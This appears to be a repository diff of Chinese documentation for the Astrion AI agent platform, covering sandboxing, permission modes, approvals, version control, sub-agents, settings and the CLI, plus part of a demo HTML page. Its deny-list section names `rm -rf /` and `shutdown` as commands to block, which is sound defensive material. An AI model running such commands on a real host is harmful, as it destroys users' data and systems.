4. 你批准后,**仅这一条命令**以可写身份重试;你拒绝或超时未处理,则本次不执行;
5. AI 拿到的是最终结果,中间过程不干扰它的思路。
`auto_approval` 模式把第 3 步的审批者换成自动审批智能体;`unrestricted` 模式跳过审批直接执行;`readonly` 模式下写入类请求直接拒绝。注意审批**只放大这一次写入、不放大读取范围**——想读工作区之外的文件,唯一途径是路径授权(见第 2 节)。
### 终端会话:身份钉死,切换即关闭
持久终端会话terminal 系列工具)的读写身份在启动时按当时的权限档、执行环境与沙箱策略**钉死**受限档readonly/approval/auto_approval下终端以只读身份运行终端里的写入由系统直接拒绝EPERM`unrestricted` 下才是可写身份。当你**切换执行环境sandbox ⇄ direct、权限档在受限档与无限制之间互切、切换工作区或容器**时,现有终端会话会被**直接关闭**——不会带着旧身份继续运行,后续操作在重新拉起的会话中按新策略执行。这也意味着:跑长任务时不要切换这些开关,任务会随会话一起终止。
### 子智能体与后台命令
子智能体的终端进程同样经过执行环境策略sandbox 下经宿主机沙箱启动direct 下直接宿主机启动docker 模式则在容器内执行。后台命令(`run_in_background`)与前台命令走同一套只读/可写沙箱判定,**不会因为放后台就绕过权限**。
## 2. 路径授权的日常管理
入口:输入栏 `+` 菜单 →「路径授权」。
- **可读可写路径**AI 的完整工作范围,通常就是你的项目目录;
- **仅可读路径**:允许 AI 参考但禁止修改,比如参考文档、线上配置样例、别的项目源码。
建议实践:
1. 保持最小授权——只加当前任务需要的目录;
2. 敏感目录(`~/.ssh`、密钥库、系统目录)永远不要加入任何一类;
3. 任务性质变化时及时调整,授权是即时生效的(新终端会话除外,见上)。
## 3. 网络权限
输入栏权限菜单中独立的一组:
- **受限**默认仅本地回环AI 无法访问外部网络——适合纯本地任务,也杜绝了数据外发;
- **完全开放**:允许出站/入站连接——需要 AI 联网搜索、调外部 API、装依赖时开启。
网络权限与文件沙箱相互独立,且在 plan 模式下也可调整。
## 4. 审批面板
入口:`+` 菜单 →「审批面板」。这里能看到审批记录:哪些命令/写入被提请审批、谁批的(人工或自动审批智能体)、结果如何。`auto_approval` 模式下如果不想让面板自动弹出打扰,个人空间有开关(默认不自动打开)。
## 5. 禁止命令清单
部署级配置 `forbidden_commands.json`(放 `<数据根>/config/`)可以配置**绝对禁止执行的命令特征**,命中即拒,与权限模式无关。这是兜底防线,适合在服务器部署时封死 `rm -rf /`、`shutdown` 这类命令。
## 6. 关于 direct 模式的忠告
`direct` = 命令直接在宿主机执行,**没有任何沙箱**。它与受限档权限readonly/approval/auto_approval硬互斥——只有 `unrestricted` 才能选 direct从 direct 切入受限档时会被自动压回 sandbox。合理使用场景只有一个某条命令在沙箱里确实跑不了需要系统级权限且没有替代方案。此时
1. 先把权限档切到 `unrestricted`,再临时切到 direct
2. 跑完立即切回 sandbox和原来的权限档
3. 注意 direct 切换后**永久生效、不会自动回退**——忘记切回等于长期裸奔。
## 7. docker 模式的安全现状
docker 模式下,用户之间的隔离边界是容器本身:每个用户的终端在独立容器中,互相不可见。容器**内部**的权限约束同样是真强制:
- 受限档readonly/approval/auto_approvalrun_command、后台命令与持久终端都以**非特权用户uid 10001**在容器内执行——工作区属主是 root写入由内核文件权限直接拒绝不依赖对命令文本的识别审批通过后仅该条命令以 root 身份重试;
- 生效前提:工作区属主为 root、没有全局可写的文件、容器未挂载 docker.sock按官方部署文档操作即满足
- 该强制仅在 **Linux 宿主机**上成立——macOS 本机的 Docker Desktop 不执行 uid 文件权限,本机开发时不要把容器内部权限当安全边界;
- 多用户部署时应配合容器资源限制、镜像最小化等常规容器安全实践。
## 8. 各平台安全水位
再次强调《核心概念》中的结论,因为它直接影响你该信任沙箱到什么程度:
- **WindowsWSL2**:可做到完全数据隔离,需先安装 WSL2
- **macOSsandbox-exec**:白名单读模型,写入和读取都可限制——进程默认只能读系统目录、工作区与已授权路径;代价是授权路径的祖先目录顶层文件名可被列出(文件内容仍不可读);
- **Linuxbwrap+seccomp**:写入可限制,但读侧仍是全局可读、尚未对齐白名单,且**尚未实测**,不要依赖其隔离性。
无论哪个平台,沙箱的首要价值是**防误操作**涉及真正的敏感数据请叠加路径授权最小化、网络受限、readonly 权限等手段综合防护。

View File

@ -0,0 +1,68 @@
# 对话资产管理
AI 改了你工作区的文件之后「改了什么、怎么回滚、坏到哪一版」就是核心问题。Astrion 提供三层资产保障:**版本控制**(对话级检查点)、**修改留痕**(任务级 diff、**Git 状态栏**(实时感知)。它们相互独立、可叠加使用。
---
## 1. 版本控制
对话级的文件检查点系统,让 AI 的每一轮改动都有快照可回退。
### 开关与备份方式
- 新对话**默认开启**(个人空间可改默认值);
- 单个对话可在 `+` 菜单 →「版本控制」临时开关;
- 备份方式二选一(个人空间):
- **浅备份(默认)**:只追踪 AI 通过 **write_file / edit_file** 编辑的文件,每次编辑前自动备份当前内容——快、省空间,绝大多数场景够用。⚠️ 注意边界:**AI 用 run_command 执行命令改动的文件(如 sed、重定向、脚本写入不在浅备份的追踪范围内**
- **完全备份**:整工作区快照——最稳,但大项目下会明显变慢占空间。
### 检查点粒度:每条用户消息
- 你**每手动发送一条消息**,系统在该消息处理完成后记录一个检查点,引用当时所有已追踪文件的最新备份版本——也就是说,回溯的最小颗粒度是「一次用户手动发送的消息」,而不是单个文件编辑;
- 查看某个检查点的 diff = 该消息快照与上一条消息快照之间的差异;
- **回滚**到某个检查点 = 把所有已追踪文件恢复到该消息时的状态(覆盖式,回滚前请确认当前改动已另存或已提交)。
### 与其他机制的关系
- 版本控制追踪的是**文件系统状态**,与对话消息无关;
- 它与 Git 不冲突AI 不会替你 commit版本控制是 Git 之外的另一张安全网,适合「还没来得及 commit 就被改坏了」的场景。
## 2. 修改留痕modify history
任务级的净修改记录,**默认开启**。
- 每完成一轮任务,本轮对话中 AI 编辑过的全部文件以 **unified diff** 形式落盘到:`<工作区>/.astrion/modify_history/<对话ID>/`
- 每个任务一个 `.diff` 文件,文件名含该任务的用户输入摘要与开始时间;
- 对话中的「编辑摘要卡片」展示本轮编辑过的文件列表,点击可查看 diff卡片的显示时机可在个人空间配置默认工作完成后显示也可改为运行期间实时显示
### 用 diff 文件手工恢复
留痕文件可直接用 git 工具操作:
```bash
cd <工作区>
git apply <diff文件> # 重做这次修改
git apply -R <diff文件> # 撤销这次修改
```
典型场景版本控制没开、Git 没 commit、`git checkout` 误覆盖了 AI 的劳动成果——去 modify_history 里找到对应任务的 diff`git apply` 即可恢复。
> 该目录由系统自动维护,请勿手工增删其中文件;可在个人空间整体关闭(关闭后既不落盘也不注入提示)。
## 3. Git 状态栏
输入栏上方的状态条,实时显示当前工作区的 Git 状态摘要当前分支、未提交改动量等让你在不离开对话的情况下掌握「工作区现在脏不脏、AI 改了多少」。
- 默认显示;`+` 菜单 →「Git 状态栏」可快速显隐,个人空间有同款设置项;
- 工作区不是 Git 仓库时不显示。
## 4. 三层机制怎么选
| 需求 | 用哪层 |
|------|--------|
| 实时感知工作区改动 | Git 状态栏 |
| 回滚到对话中的某个时间点 | 版本控制 |
| 精确恢复/撤销某一轮任务的修改 | 修改留痕 diff |
| 长期、严肃的规模开发 | 仍然要 Git commit——前三级都是安全网不是版本管理的替代品 |
推荐姿势:重要项目保持「版本控制开 + 修改留痕开 + 勤 commit」三张网叠加AI 怎么折腾都丢不了东西。

View File

@ -0,0 +1,156 @@
# 智能体能力
Astrion 的智能体能力分五块:**子智能体**(主智能体派出的分身)、**多智能体对话**(一个角色团队)、**工作流**(既定流程模板)、**Skills**(专业技能包)、**MCP**(外部工具接入)。本章讲每块怎么用、怎么配。
---
## 1. 子智能体
### 是什么
子智能体是主智能体在**同一进程内**派出的独立执行体:有自己的上下文、自己的模型配置、独立的生命周期。主智能体用它来**并行处理相互独立的任务**——典型场景:同时调研三个技术方案、边跑测试边整理文档。
它**不适合**什么子智能体之间无法通信、看不到主对话历史所以协作型任务A 的输出是 B 的输入)应顺序执行或交给一个子智能体完成。代码编写/修改类任务默认由主智能体亲自完成。
### 怎么用
通常你不需要直接操作——告诉主智能体「同时帮我做 X 和 Y」它会自己判断拆分成子智能体。两种运行方式
- **前台(阻塞)**:主智能体停下来等它完成,适合快任务、后续依赖结果的场景;
- **后台**:主智能体继续干活或与你聊天,子智能体完成后系统自动通知。
你可以通过对话区右侧**快捷窗口的「子智能体」窗**实时查看每个子智能体的状态与输出(见《快捷窗口》)。
### 生命周期与限制
- 状态:`running`(运行中)→ `idle`(空闲,上下文保留,可继续对话)/ 终态(完成/失败/超时/终止);
- 并发上限默认 **5**`SUB_AGENT_MAX_ACTIVE`
- 默认超时 **180 秒**,创建时可为单个任务指定更长超时(大规模分析建议 1800 秒以上);
- 产出物约定放在工作区 `sub_agent_results/` 下。
### 怎么配(模型库)
子智能体使用独立模型库 `sub_agent_models.json`,配置方法见《快速上手》第 6 节。创建单个任务时主智能体可指定:模型条目、思考模式、超时、最大轮数等。不配则用 `default_model` 条目。
## 2. 多智能体对话
### 是什么
一种**对话类型**(创建时选定,不可变):主智能体固定为 Team Leader负责理解你的需求、拆解任务、创建并指挥一组**带角色的子智能体**,汇总它们的产出。
### 角色系统
预置 5 个角色:
| 角色 | 职责 |
|------|------|
| Full-Stack Engineer | 前后端代码实现、接口设计、调试联调 |
| UI Operator | 界面操作与视觉验证 |
| Code Reviewer | 代码审查 |
| Researcher | 调研与信息收集 |
| Brainstormer | 头脑风暴与方案发散 |
角色 = `角色ID + 实例编号`,显示名如 `Full-Stack Engineer_1`,编号按角色内递增。
**自定义角色**:个人空间里有角色编辑器(角色列表 → 新建/编辑)。角色定义是一个带元信息的 Markdown 文件:
```markdown
---
id: full-stack-engineer # 角色ID
name: Full-Stack Engineer # 显示名
description: 职责一句话 # Team Leader 据此派活
model: "" # 指定模型(留空用子智能体模型库默认)
thinking_mode: thinking # fast / thinking
---
(正文是该角色的系统提示词:职责、工作原则、约束……)
```
### 通信机制(用起来需要知道的)
- Team Leader 给子智能体发消息有两种:**派活**(不阻塞,继续干别的)和**询问**(阻塞等它回一轮);
- 子智能体之间可以互相请教/回答,但**所有子间通信都会同步汇报给 Team Leader**
- 子智能体每一轮输出都会实时汇报给 Team Leader 并展示在对话流里,你可以随时插话纠偏。
### 什么时候用多智能体
适合:一个小型项目需要「写代码的 + 审代码的 + 跑界面的」分工协作;不适合:单线程就能干完的任务(徒增协调开销)。
## 3. 工作流
### 是什么
把一套**既定流程**(阶段、审核点、分支、结束方式)写成 `WORKFLOW.md` 存为模板;激活后,智能体严格按流程逐阶段推进,每个阶段完成后向你或审核智能体汇报,审核通过才进入下一阶段。
### 怎么用
- 激活:`+` 菜单 →「工作流」,或输入 `/workflow` 选择;
- 推进:每个阶段完成后 AI 自动汇报并进入下一阶段(含审核节点时由审核智能体把关,驳回会带整改意见退回上一阶段);
- 分支流程到分支点时AI 给出可选路径菜单让你拍板;
- 退出/查看进度:随时可以让 AI 退出工作流或汇报当前进展;
- 同一对话同时只能激活一个工作流。
### 内置工作流
| 工作流 | 用途 |
|--------|------|
| bug-fix-triage | 缺陷分诊与修复流程 |
| code-review-pipeline | 代码评审流水线 |
| feature-development | 功能开发全流程 |
| research-report | 调研报告生成流程 |
### 自定义工作流
参照内置工作流的 `WORKFLOW.md` 格式编写,放入工作流库目录即可。建议直接用自然语言让 AI「按 workflow-authoring 技能帮我写一个 xx 流程」——系统内置了编写规范和格式校验,写完自动归档可激活。
工作流审核由**工作流审核智能体**`workflow_review`)执行,配置见下文「审核智能体」。
## 4. Skills技能包
### 是什么
Skill = 一个文件夹 + 一份 `SKILL.md`带元信息的技能说明书。它把「某类任务该怎么做」的经验沉淀下来AI 遇到匹配场景时先读技能再动手——相当于给 AI 发岗位培训手册。
### 内置 Skills12 个)
`agent-build-standard`Agent 架构教学)、`agents-md-writer`(写 AGENTS.md、`docx`Word 文档)、`pptx`PPT、`frontend-design`(前端设计)、`ui-aesthetic-design`UI 美学)、`skill-creator`(创建新 Skill、`workflow-authoring`(写工作流)、`run-command-guide`(命令执行规范)、`terminal-guide`(终端使用规范)、`sub-agent-guide`(子智能体规范)、`mcp-tool-config`MCP 自助配置)。
### 怎么用
- 插入引用:输入 `//``+` 菜单 →「选择 AgentSkill」把技能引用插进消息
- 启用/停用:个人空间「工具与 Skills」页管理启用列表
- **强约束开关**(默认全关):可分别要求「用终端前先读 terminal-guide」「用 run_command 前/后台前先读规范」「派子智能体前先读 sub-agent-guide」——适合新手期防误用熟练后可关
- **Skill 提示**(默认关):根据任务动态提示可能相关的技能。
### 自定义 Skill
直接对 AI 说「把今天的流程沉淀成一个 skill」它会按 `skill-creator` 规范创建、校验并归档,之后即可复用。用户技能存放在工作区 `.astrion/skills/`
## 5. MCP 工具扩展
通过 [Model Context Protocol](https://modelcontextprotocol.io) 接入外部工具服务(数据库、浏览器自动化、第三方 SaaS……接入后 AI 工具列表里会出现 `mcp__服务名__工具名` 形式的新工具。
- **配置文件**`<数据根>/<模式>/data/mcp_servers.json`(可用 `MCP_SERVERS_FILE` 覆盖);
- **总开关**`MCP_TOOLS_ENABLED`(默认开);
- 协议版本 `2025-06-18`,工具发现/调用默认超时 25 秒;
- **host 模式特色**:你可以直接让 AI「帮我配置 xxx MCP 服务」——内置 `mcp-tool-config` 技能会引导它自己写好配置并生效。
## 6. 审核智能体(三个)
三个在关键节点替你把关的独立 AI统一在个人空间「审核智能体」页配置**模型复用子智能体模型库**
| 审核智能体 | 介入时机 |
|------------|----------|
| `auto_approval` 自动审批 | `auto_approval` 权限模式下,命令要写沙箱外/触发权限拒绝时自动审批 |
| `goal_review` 目标审核 | 目标模式下,评估每轮工作是否达成目标 |
| `workflow_review` 工作流审核 | 工作流的审核节点,决定放行还是驳回 |
每个可配:`model`(留空用模型库默认)、`thinking`(思考模式)、`timeout_seconds`、`max_rounds`、`max_command_timeout`。
> 经验:审核智能体建议选**便宜但稳定**的模型——它们调用频繁、任务模式固定,没必要上旗舰。
## 7. 组合玩法示例
- **多智能体 + 工作流**:激活 feature-development 工作流后Team Leader 按流程指挥角色团队逐阶段交付;
- **子智能体 + Skills**:调研任务前插入 `//frontend-design`,子智能体带着设计规范干活;
- **MCP + 快捷窗口**:浏览器自动化 MCP 跑长任务时,在「后台命令」窗口盯实时进度。

View File

@ -0,0 +1,33 @@
# 快捷窗口Quick Dock
对话区右侧的一列浮动窗口,把「任务进行中产生的可交互产物」集中在一处,不用翻消息流就能盯住全局。
---
## 1. 五个窗口
自上而下依次是:
| 窗口 | 显示什么 | 典型操作 |
|------|----------|----------|
| **工作流** | 当前激活的工作流:处于哪个阶段、审核状态、待决分支 | 查看流程进展,配合分支选择 |
| **待办** | AI 创建的任务清单todo每件事的完成状态 | 看 AI 的执行计划推进到哪一步 |
| **子智能体** | 运行中/空闲的子智能体实例:状态、当前在做什么 | 点详情看输出时间线;⋯ 菜单**强制关闭**失控实例 |
| **后台命令** | 后台运行的命令任务:状态、耗时 | 点详情看完整输出;⋯ 菜单强制关闭 |
| **文件记录** | 本轮任务 AI 编辑/创建过的文件 | ⋯ 菜单:**下载** / **在文件管理器中打开**host 模式)/ **复制路径** |
### 详情面板
- 点击子智能体/后台命令条目 → 打开**运行器详情面板**:输出与工具调用按真实时间线混排,失控时可强制关闭;
- 点击文件条目 → 打开**文件预览面板**:直接查看文件内容。长行默认横向滚动,个人空间可改为按面板宽度自动换行。
## 2. 展开与收起
- **有内容时自动展开**(默认):任何一个窗口有内容时,整列自动展开;全空时自动收起为边缘细条,不占地方;
- 个人空间可改为**仅手动展开**`quick_dock_auto_expand`),或**整体隐藏**`hide_quick_dock`)。
## 3. 使用心法
- **盯失控**:子智能体/后台命令行为异常时,不用在对话里喊话,直接 ⋯ → 强制关闭;
- **盯进度**:长任务期间,待办窗 + 子智能体窗就是项目看板;
- **收产物**:任务结束到文件记录窗批量下载或跳目录,比在消息流里翻卡片快得多。

154
demo/content/09-settings.md Normal file
View File

@ -0,0 +1,154 @@
# 个人空间设置全解
个人空间(输入栏 `+` 菜单 →「个人设置」)共分 12 个标签页(管理员多 1 个)。本章**逐页逐项**说明每个设置的作用、默认值与使用场景——设置页面里一句话说不清的,都在这里讲透。
> 约定:「默认」指代码出厂默认值;如果你用过 `setup.sh` 向导,个别默认值可能被向导的选择覆盖。
---
## 1. 常规
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 自动生成标题 | 开 | 首轮对话后自动生成对话标题。关闭后新对话保持「新对话」占位名,需手动重命名 |
## 2. 个性化
这一页决定「AI 用什么人格与你相处」。
| 设置项 | 默认 | 作用与场景 |
|--------|------|------------|
| 启用个性化 | 关 | 本页总开关。关闭时下列配置不注入提示词 |
| AI 自称 | 空 | AI 如何称呼自己≤20 字如「小A」 |
| 称呼你 | 空 | AI 如何称呼你≤20 字) |
| 职业 | 空 | 你的职业≤20 字)。填了 AI 会按你的背景调整表达深浅——开发者给技术细节,业务人员讲人话 |
| 语气 | 空 | 8 个预设:健谈 / 幽默 / 直言不讳 / 鼓励性 / 诗意 / 企业商务 / 打破常规 / 同理心 |
| 注意事项 | 空 | **最强大的一项**:最多 10 条、每条 2000 字的长期指令,每轮对话都注入。适合写「回答必须用中文」「代码注释用英文」「我是色弱,图表避免红绿配色」这类长期偏好 |
| 交流风格 | 标准 | 标准 AI 风格 / 拟人聊天风格 / 自动(按场景切换) |
| 对话连续性 | 中 | 高:主动回顾历史对话与记忆;中:平衡;低:每轮对话尽量独立。**开了「最近对话提示」却觉得 AI 总是答非所问地提旧事,就把这里调低** |
## 3. 模型与思考
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 默认模型 | 模型库第一个可见项 | 新对话默认使用的模型,可选库中任意已注册模型 |
| 默认思考模式 | 思考 | fast / thinking。思考模式质量更高快速模式响应更快 |
| 默认推理强度 | 默认(不传参) | 默认 / 低 / 中 / 高;需模型开启 `reasoning_effort` 才生效 |
> 这里的「默认」都只影响**新建对话**;已有对话用输入栏的切换器单独调。
## 4. 外观与显示
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 主题配色 | 经典 | 经典(暖奶油+暖橙)/ 明亮(冷白+近黑)/ 夜间(中性灰阶) |
| 消息流显示模式 | 极简模式 | 传统列表 / 堆叠动画 / 极简模式;极简模式另有「展开时限制最大高度」开关(默认开) |
| 简略消息显示 | 完整信息 | 完整原始内容 / 一行概要 |
| 堆叠块隐藏边线 | 关 | 堆叠模式下隐藏块间边线,更素净 |
| 显示助手状态形象 | 开 | 对话区的状态头像(可以戳,有彩蛋) |
| 显示 Git 状态栏 | 开 | 输入栏上方的 Git 状态条 |
| 显示自定义称呼 | 开 | 在界面中显示你设置的自称/称呼 |
| 增强工具显示 | 开 | 工具结果结构化渲染;关掉则更接近原始输出 |
| 自动打开终端面板 | — | 终端任务时自动展开实时终端面板 |
| 快捷窗口自动展开 | 开 | Quick Dock 有内容时自动展开;关闭则只能手动点开 |
| 隐藏快捷窗口 | 关 | 整体关闭 Quick Dock |
| 编辑摘要实时显示 | 关 | 开AI 边改边显示编辑摘要卡片;关:一轮工作完成后统一显示 |
| 文件预览自动换行 | 关 | 开:预览面板按宽度换行;关:长行横向滚动 |
| 侧边栏按工作区分组 | 关 | 对话列表按工作区/项目分组;分组模式支持工作区置顶与排序 |
| 新建对话按钮行为 | 跳转空白页 | route跳到空白新对话页 / blank立即创建空对话 |
## 5. 工作区与权限
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 默认权限模式 | 批准 | 新终端的初始权限模式,四档行为见《核心概念》 |
| 默认运行模式 | 计划 | 新终端的初始运行模式:计划 / 询问 / 执行 |
| 默认隐藏工作区 | 关 | 界面中默认收起工作区信息 |
| AGENTS.md 自动注入 | 关 | 开:每轮对话自动携带项目根 AGENTS.mdAI 始终带着项目规范干活。长期项目建议开 |
| 修改留痕 | 开 | 每轮任务结束后把净修改 diff 落盘到 `.astrion/modify_history/`。关闭后既不落盘也不注入提示 |
| 新对话默认开启版本控制 | 开 | 建议保持开启,这是文件安全网 |
| 版本控制备份方式 | 浅备份 | 浅备份:只备份 AI 编辑的文件;完全备份:整工作区快照(大项目慎用) |
| 目标审核模式 | 仅读对话 | 目标模式的审核方式readonly 只读对话判断 / active 允许审核智能体跑只读命令取证 |
| 目标最大轮数 | 有默认值 | 目标模式自动续轮上限 |
| 目标 token 上限 | 不启用 | 累计输入+输出 token 达到即停1k100M。注意是工作区级近似统计 |
## 6. 上下文
这一页是长对话质量的关键,**改动前建议先读《输入与上下文》第 4 节**。
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 最近对话提示 | 关 | 开:新对话自动注入最近 N 条历史对话摘要 |
| 最近对话数量 | 10 | 上面那项的 N130 |
| 项目记忆索引上限 | 20 条 | 项目记忆索引最多注入条数≥5可设无上限 |
| 自动浅压缩 | 关 | ⚠️ **会破坏上下文缓存**,见《输入与上下文》。不推荐开 |
| 浅压缩触发 token | 80000 | 自定义时**至少为模型实际可用上下文的 80%** |
| 浅压缩保留最近工具数 | 15 | 最近 N 个工具结果不压 |
| 浅压缩保留用户轮次工具 | 3 | 最近 N 次用户输入之后的工具不压 |
| 浅压缩每轮最多替换 | 10 | 单次压缩最多替换多少个工具结果 |
| 浅压缩工具调用间隔 | 10 | 每 N 次工具调用检查一次是否触发 |
| 自动深压缩 | 开 | 推荐保持开启 |
| 深压缩触发 token | 150000 | 同样遵守 80% 规则 |
| 深压缩产物形式 | 生成文件 | file总结写入文件随取随用推荐/ inject直接注入总结全文 |
## 7. 工具与 Skills
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 静默禁用工具 | 开 | 禁用某工具时不向模型插入提示,上下文更干净 |
| 隐藏工具审批面板 | 开 | auto_approval 模式下不自动弹出审批面板打扰你;关则有审批即弹 |
| 工具意图说明 | 开 | 工具调用卡片上显示「要做什么」的简述;关掉可让消息流更紧凑 |
| Skill 提示 | 关 | 根据当前任务动态提示可能相关的 Skill |
| 强约束:终端 | 关 | 开AI 使用终端工具前必须先读 terminal-guide 规范 |
| 强约束:子智能体 | 关 | 开:派子智能体前必须先读 sub-agent-guide |
| 强约束:前台命令 | 关 | 开run_command 前台模式前必须先读规范 |
| 强约束:后台命令 | 关 | 开run_command 后台模式前必须先读规范 |
| 启用 Skills 列表 | 全部 | 勾选哪些 Skill 可被使用 |
| 禁用工具类别 | 无 | 按类别整体禁用工具(如禁用网页搜索类) |
四个「强约束」是新手护栏:强迫 AI 在用高危工具前先读使用规范,显著降低误操作率;熟练后关掉可省 token。
## 8. 文件与图片
| 设置项 | 默认 | 说明 |
|--------|------|------|
| 图片压缩档位 | 原图 | 原图 / 1080p / 720p / 540p。长对话多发大图建议降档省上下文 |
## 9. 数据管理
只读的**用量统计**页:累计输入/输出 token、总对话数、用户消息数、工具调用次数支持手动刷新。用来回答「我这个月烧了多少 token」。
## 10. 语音模型
端侧语音识别模型SenseVoice int8的下载管理约 228MB**仅在手机本地运行、无需网络**,支持中英混说与自动标点。页面显示下载状态(未下载/下载中百分比/已下载/下载不完整),可重新下载或删除。此功能面向 Android 客户端。
## 11. 子智能体
多智能体**角色编辑器**:角色列表、新建角色、编辑角色。角色的字段与写法见《智能体能力》第 2 节。预置 5 个角色可查看参考,自定义角色随改随用。
## 12. 审核智能体
三个审核智能体(自动审批 / 目标审核 / 工作流审核)的统一配置页,各自可配:
| 字段 | 说明 |
|------|------|
| 模型 | 子智能体模型库中的条目名;**留空 = 用模型库 `default_model`** |
| 思考模式 | fast / thinking |
| 超时时间 | 单次审核的最长等待 |
| 最大轮数 | 审核智能体自身的工作轮数上限 |
| 命令超时 | 审核中执行核查命令的单条超时 |
配置建议:审核任务模式固定、调用频繁,选便宜稳定的模型即可,不必用旗舰。
## 13. 管理员(仅管理员可见)
管理员专属页:用户与策略管理(`admin/` 相关界面)。普通用户看不到此页。
---
## 附:设置生效机制
- 所有设置存储在数据目录的 `personalization.json`,按用户隔离;
- 「默认 XX」类设置只影响新建对象新对话/新终端),不改已有的;
- 显示类设置(主题、显示模式等)即时生效;
- 涉及提示词注入的设置个性化、注意事项、AGENTS.md 注入等)从下一轮对话开始生效。

36
demo/content/10-cli.md Normal file
View File

@ -0,0 +1,36 @@
# CLI开发中
> ⚠️ CLI 目前处于**重写中的开发状态**,功能与稳定性以 Web 端为准,本文仅介绍当前形态,所列行为后续可能变化。
---
## 1. 是什么
一个终端里的对话客户端:**React 19 + Ink 6 + TypeScript** 实现的 TUI让你不打开浏览器也能与 Astrion 对话。
关键点CLI **不是独立的 Agent 运行时**——它连接的是你本地正在运行的 Astrion Web 服务(默认 `127.0.0.1:8091`所有对话、工具执行、权限控制都走后端CLI 只是一个更轻的交互界面。
## 2. 启动
```bash
npm --prefix cli install # 首次安装依赖
npm run cli # 启动,自动连接本地 8091 服务
```
启动后会清屏、连接本地服务、创建新会话,输入区固定在底部。若当前目录不在任何已授权工作区中,会先询问是否添加为工作区。
## 3. 当前能力与边界
- 基础对话、流式输出、工具调用展示;
- `/` 指令体系(设计中,详见仓库 `docs/cli_slash_commands_spec.md`
- 思考内容默认折叠,只显示「思考中 / 思考完成」;
- 多模态、快捷窗口、版本控制等 Web 端能力在 CLI 中**尚未对齐**——需要完整功能时请用 Web 端。
## 4. 面向开发者
```bash
npm run cli:typecheck # 类型检查
npm run cli:build # 构建(产物提供 agents / agents-cli 命令)
```
CLI 代码在 `cli/src/``App.tsx`、`components.tsx`、`eventMapper.ts`、`api.ts`),欢迎贡献。

31
demo/content/README.md Normal file
View File

@ -0,0 +1,31 @@
# Astrion 官网文档(中文版文案)
本目录是 Astrion 官网的**中文文案底稿**,后续将迁入独立仓库并据此设计官网。
## 章节地图
| 文件 | 章节 | 读者 |
|------|------|------|
| `01-quick-start.md` | 快速上手安装、端口、数据路径、模型与子智能体模型配置、host/docker 选择 | 新用户 |
| `02-core-concepts.md` | 核心概念:部署/权限/执行环境/运行模式四组正交概念,各平台沙箱安全水位 | 所有人(最重要的一章) |
| `03-conversations.md` | 对话对话类型、思考模式与推理强度、目标模式Beta、对话面板、对话管理 | 用户 |
| `04-input-context.md` | 输入与上下文:`+` 菜单全项、`/` 斜杠菜单、`@` 引用、压缩机制与 80% 规则 | 用户 |
| `05-execution-security.md` | 执行与安全两段式执行、路径授权、网络权限、审批、direct 忠告 | 用户/管理员 |
| `06-conversation-assets.md` | 对话资产管理版本控制、修改留痕、Git 状态栏 | 用户 |
| `07-agent-capabilities.md` | 智能体能力子智能体、多智能体、工作流、Skills、MCP、审核智能体 | 进阶用户 |
| `08-quick-dock.md` | 快捷窗口:五个窗口的用法与操作 | 用户 |
| `09-settings.md` | 个人空间设置全解12 个标签页逐项说明 | 用户(工具书式查阅) |
| `10-cli.md` | CLI开发中形态、启动、当前边界 | 用户/开发者 |
## 写作约定
- 全部功能描述**以代码事实为准**(文件:行号级核实),不以界面描述文案为准;
- 安全性内容如实标注macOS 全局可读、Linux 沙箱未实测、Windows WSL2 可完全隔离);
- Beta/开发中功能明确标注;
- 每个设置项都给出「默认值 + 作用 + 什么场景要改」。
## 待补充(设计官网阶段)
- 开发者文档线(架构/消息管线/多智能体内部机制等,以 AGENTS.md 为底重组)
- 首页 landing 文案与截图
- 截图与演示素材(需运行实例采集)

View File

@ -2,6 +2,10 @@
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<!-- 关键防纯白闪:浏览器默认 canvas 背景色由 color-scheme 决定。iframe 内整页导航(新建对话进 /new
时新文档第一帧绘制前,未样式化 canvas 默认纯白——此处声明 dark 使其从第一帧起就是深色。
与下方内联背景规则互补meta 管样式就绪前的 UA 默认画布,内联规则管样式就绪后。 -->
<meta name="color-scheme" content="dark">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Astrion</title>
<link rel="icon" type="image/svg+xml" href="/static/astrion-avatar.svg">
@ -9,6 +13,12 @@
<link rel="icon" type="image/png" sizes="16x16" href="/static/favicon-16x16.png">
<link rel="apple-touch-icon" sizes="180x180" href="/static/apple-touch-icon.png">
<link rel="stylesheet" href="/static/style.css">
<!-- 防白闪:演示区固定 dark 主题,但 data-theme 要等 main.js(2.1MB) 执行 theme.ts 后才写上 html。
窗口期内产品首屏回退 (:root:not([data-theme])) 令 --surface-base=#faf9f5实测白帧采样正是此色
而 main.css 的 #app{background:var(--surface-base)} 无条件生效——只盖 html/body 没用,#app 画在
body 之上且 min-height 铺满全页,必须把 #app 一起锁深色。规则全部 !importantmain.css 是外链
后加载同优先级会被它压过。data-theme 落地后 :not() 选择器自动失效,产品 dark 规则无缝接管。 -->
<style>html:not([data-theme]), html:not([data-theme]) body, html:not([data-theme]) #app { background: #1a1a1a !important; } html:not([data-theme]) { color-scheme: dark !important; }</style>
<link rel="stylesheet" href="/static/easter-eggs/flood.css">
<link rel="stylesheet" href="/static/easter-eggs/snake.css">
</head>
@ -56,13 +66,81 @@
<script>
/* 演示引导:注册 mock SW等 controllerchange 后换路由、再加载真实前端 */
(function () {
// 固定演示呈现状态:经典配色 + 极简模式 + 快捷窗口自动展开,不受访客浏览器缓存影响
// 防白闪协作:父页在本文档导航期间隐藏 iframe收到 ready 才显示。信号必须等「主题真正落地」
// theme.ts 把 data-theme 写到 <html>)之后发——此前首帧画面是首屏回退浅色 #faf9f5发早了
// 父页就会把白帧渐显出来v26 实测踩坑)。主路径 MutationObserver 等 data-themewindow load
// +300ms 与 4s 超时两级兜底,防主题脚本异常时 iframe 永久隐藏。双 rAF 保证首帧已上屏。
if (window.parent !== window) {
var readySent = false;
var sendReadyOnce = function () {
if (readySent) return;
readySent = true;
requestAnimationFrame(function () {
requestAnimationFrame(function () {
try { window.parent.postMessage('astrion-demo-frame-ready', location.origin); } catch (e) {}
});
});
};
if (document.documentElement.hasAttribute('data-theme')) {
sendReadyOnce();
} else {
var themeObserver = new MutationObserver(function () {
if (document.documentElement.hasAttribute('data-theme')) {
